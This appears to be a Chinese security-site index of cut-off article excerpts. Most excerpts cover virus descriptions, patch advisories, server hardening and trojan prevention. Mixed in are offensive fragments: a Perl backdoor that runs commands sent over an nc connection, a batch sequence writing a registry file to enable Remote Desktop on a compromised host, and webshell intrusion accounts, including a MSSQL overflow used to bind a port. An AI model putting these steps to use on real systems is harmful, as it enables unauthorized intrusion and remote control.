内网安全管理

病毒是一个与计算机相伴而生的恶狼，虽然有的时候可以为计算机技术的发展提供一些新想法，但是用户感受更多的是它那摧毁一切的破坏力量。而网络的纵深发展更使病毒得到了长足的发展，病毒的传播途径变得越来越多，传播速度变得越来越快，把每个人都推入了一个与狼共舞的时代。　　病毒问题是一个网络离散问题，即病毒的可控

病毒类型：蠕虫病毒 传播方式：网络 感染对象：网络病毒大小：130048 字节病毒介绍超级密码杀手007病毒（IWorm/Supkp）是一种特洛伊木马程序，可感染目前所有流行的Windows操作系统。此病毒是由配置部分（setup.exe: 45056 字节）和超级密码杀手007的主体部分（sup_kp.exe:84992字节）组成。其中配置Email信息的程序是setup

Cracker入侵之前做的第一件事情就是刺探目标主机的信息，利用各种方法得到目标主机所提供服务的版本信息，从而判断其是否存有漏洞。可以对每个开放的端口进行相应的连接，通常这些服务程序会显示自己的"banner"，这样就能直接获知版本号，如ftp、telnet、sendmail等系统服务。通过这些返回的banner，依靠经验或资料，判断系

用nc连，使用了简易的管道命令（``）使之能执行基本的系统命令，有兴趣的朋友可以添加、修改一下，做出更多东西，谁有空建议用win32模块给他系统化一下，再用perlsvc做个服务啥的 #!/usr/bin/perl use I:Socket; $port = $ARGV[0]; my $socket = new I:Socket::INET ( ''Localhost''=>''127.0.0.1'' ,  ''

6月，微软发布了12个安全补丁。其中3个属于严重级别，成功利用该漏洞的黑客可以控制用户的计算机，并窃取数据或发起其他攻击。如果用户访问某些特定网站，黑客也可以利用上述安全漏洞发起攻击。MS05025：IE的累积性安全更新　　严重等级：严重　　受影响系统：Windows 2000 SP3/SP4、Windows XP SP1/SP2、Windows XP 64Bit

“苍蝇不叮无缝的蛋”！现如今，病毒横行，作为电脑用户，几乎都有过被病毒“毒”倒过的惨痛经历。痛定思痛，除了责怪病毒的可恶之外，我们更应该从自身来查找原因。绝大多数情况，是我们不良的用机习惯为病毒敞开了大门，纠正不良的用机习惯，堵塞病毒入侵之门，是当务之急。也只有这样才能御　“毒”于“机”门之外……　

上次拿到一个webshell，可是接着遇到麻烦——主机装了硬件防火墙。虽然发现主机的MSSQL存在hello溢出漏洞，但是由于防火墙的阻挠始终拿不到shell（反向连接时发现仅仅能够连接，没有数据过来），另外又试了N种本地提升权限的方法但以失败告终。郁闷！后来又想到如果在webshell里用sqlhello溢出绑定一个防火墙允许开的端口，

echo Windows Registry Editor Version 5.00>>3389.regecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.regecho "fDenyTSConnections"=dword:00000000>>3389.regecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>&

防毒先锋(一)开篇语网络上的病毒正在肆虐！病毒的传播速度越来越快，而且所造成的危害越来越严重！因此，我们需要网络防病毒产品来确保网络的安全。为了让广大网管员能够更好地认识网络防病毒产品，把网络防病毒产品选好、用好，《网管员世界》编辑部增设了《防毒先锋》专栏。在这个专栏中，我们将以连载的形式，邀请优秀的

如今，企业网络的安全问题已成为应用中的焦点，每年新生的病毒和黑客攻击的数量呈愈演愈烈之势。尽管企业的客户端节点大都部署了杀毒软件，但由于病毒防护的滞后性，它们往往不能起到良好的效果。其实，从所有的安全攻击看，基于操作系统和系统级应用漏洞的攻击数量是最多的，如果能够从弥补操作系统本身的漏洞着手，致力于

前两周帮朋友做了一次IIS的安全检测及相应的安全加固，笔者根据平时的经验写出需要检查的步骤来，希望对大家有些用处。本文以Windows2000+IIS+ ServU为例说明。服务器检测　　1、将“隐藏文件或文件夹和受系统保护的文件”这几项取消，目的是为了方便检查和处理系统内所有文件及文件夹。　　2、看账号及管理组里面有没多出

Vsftpd在安全性、高性能及稳定性三个方面有上佳的表现。它使用安全编码技术解决了缓冲溢出问题，并能有效避免“globbing”类型的拒绝服务攻击。1．启用tcp_wrappers进行访问控制　　tcp_wrapper可以用来禁止（或者显式的允许）特定的主机对某些服务的访问。它的应用思路是“先阻止、后放行”，因此，策略是首先禁止所有主机

木马自诞生以来，一直在不断的“变形”之中。现在的木马已今非昔比了，说它拥有七十二般变化一点也不分。阴魂不散、隐藏之术、毁尸灭迹……各种木马技术层出不穷，让人防不胜防；有句俗话：您有您的千条计，我有我的老主意。木马不是来无踪，去无影的神，虽然它能“画皮”，擅于伪装，但我们总能找出防范它的一般方法。本文

注册表是Windows系统的管理核心，存放着各种参数，直接控制着Windows的启动、硬件驱动程序的装载以及一些Windows应用程序的运行，从而在整个系统中起着核心作用。　　病毒在系统中生存自然也离不开注册表,如果系统中有了中毒现象，就可以通过注册表去探知一二。 病毒的自启动与注册表　　熟悉注册表各根键作用的朋友一定会

2005年上半年，病毒颇为平静，连五一长假期间都没有值得关注的重大病毒出现。　　就在大家松了一口气的时候，5月17日，国内著名防病毒厂商瑞星宣布其全球反病毒监测网率先截获一个恶性病毒，由于该病毒的破坏能力和当年臭名昭著的CIH病毒几乎完全一样，因此被命名“新CIH”病毒。　　根据瑞星公司反病毒专家的分析，新CIH病

一：得到webshell今天晚上的一次小小测试，由于本人太菜，再高深的技术我也不会，只能这样了..........一切都已经过去了，没有办法补图了，希望能看的懂这个小帖子。今天有是无聊的一天，晚上实在无聊没有事情干，就到一个视频聊天站点看秀，嘿嘿~突然发现一个聊天室特别的火暴，人数已经有500人在里面了（满员了），刷了n

''========================================'' 测试url可用性 TestUrl.vbe'' Used: cscript TestUrl.vbe url'' Code by haicao E.S.T''========================================''On Error Resume NextHELP() If Wscript.Arguments.Count <>1 Then Wscript.echo "参数有误!"Wscript.Quit end ifstrURL = wscript.ar

边缘化网络的新要求　　为了满足人们日益增长的网络需求，作为提供不断丰富业务的网络必然向边缘化的网络发展，边缘用户越来越多参与推动网络的发展。在这种情况下，宽带接入路由器需要能够提 供智能业务综合接入。未来的网络应该是一个无边界的网络，用户随时随地都可以接入到网络获取想要的资源。因此对宽带接入路由器应

思路是来自：<%的使用,然后Asp执行的时候报错。 现在只是把他写成asp代码了，方便使用。 因为这样话可以直接执行就ok了，也不用下载数据库然后建表等。。。。然后再上传覆盖了。。。 偶的代码只是为了实现这个功能：讲究实用。请各位多多指点。。。。 顺便补充一下这代码产生的背景：我也是提议mdb映射的比较好，也作了

2003年主要病毒攻击事件列表月份主要病毒事件一月378 byte 的速客一号（Slammer），利用 SQL Server数据库漏洞，每秒钟最多可以制造50MB的封包，光是发作的头五天，就造成全球10亿美元的损失。二月后门爱虫（Lovgate）假冒收件者，自动帮收件人回信。假设你发出一封主题为“please review my report”的信给老王， 如果老王